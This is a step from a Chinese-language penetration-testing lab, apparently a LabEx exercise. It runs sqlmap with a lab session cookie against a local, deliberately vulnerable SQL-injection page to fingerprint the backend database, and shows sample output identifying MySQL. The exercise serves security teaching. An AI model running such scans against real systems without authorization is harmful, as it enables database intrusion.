识别后端可能的 DBMS (例如 MySQL, PostgreSQL)
在此步骤中,你将运行一个基础的 sqlmap 扫描,让它自动识别后端数据库系统。这是渗透测试中常见的首要步骤。此处收集的信息将帮助我们在后续步骤中优化攻击。
我们将使用 --batch 标志,让 sqlmap 以其对所有问题的默认回答运行,使扫描过程非交互式。我们还需要提供一个会话 cookie 来访问易受攻击的页面。对于本实验,cookie 是 security=low; PHPSESSID=labex。
在你的终端中执行以下命令:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=labex" --batch
sqlmap 将开始其测试过程。密切关注输出。经过一系列测试后,sqlmap 将打印出关于 Web 服务器操作系统、Web 服务器技术以及最重要的一点——后端 DBMS 的信息。
你应该会看到类似以下的输出(部分细节可能有所不同):
[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL >= 5.0
如你所见,sqlmap 已将后端数据库识别为 MySQL。这是我们接下来将使用的关键信息。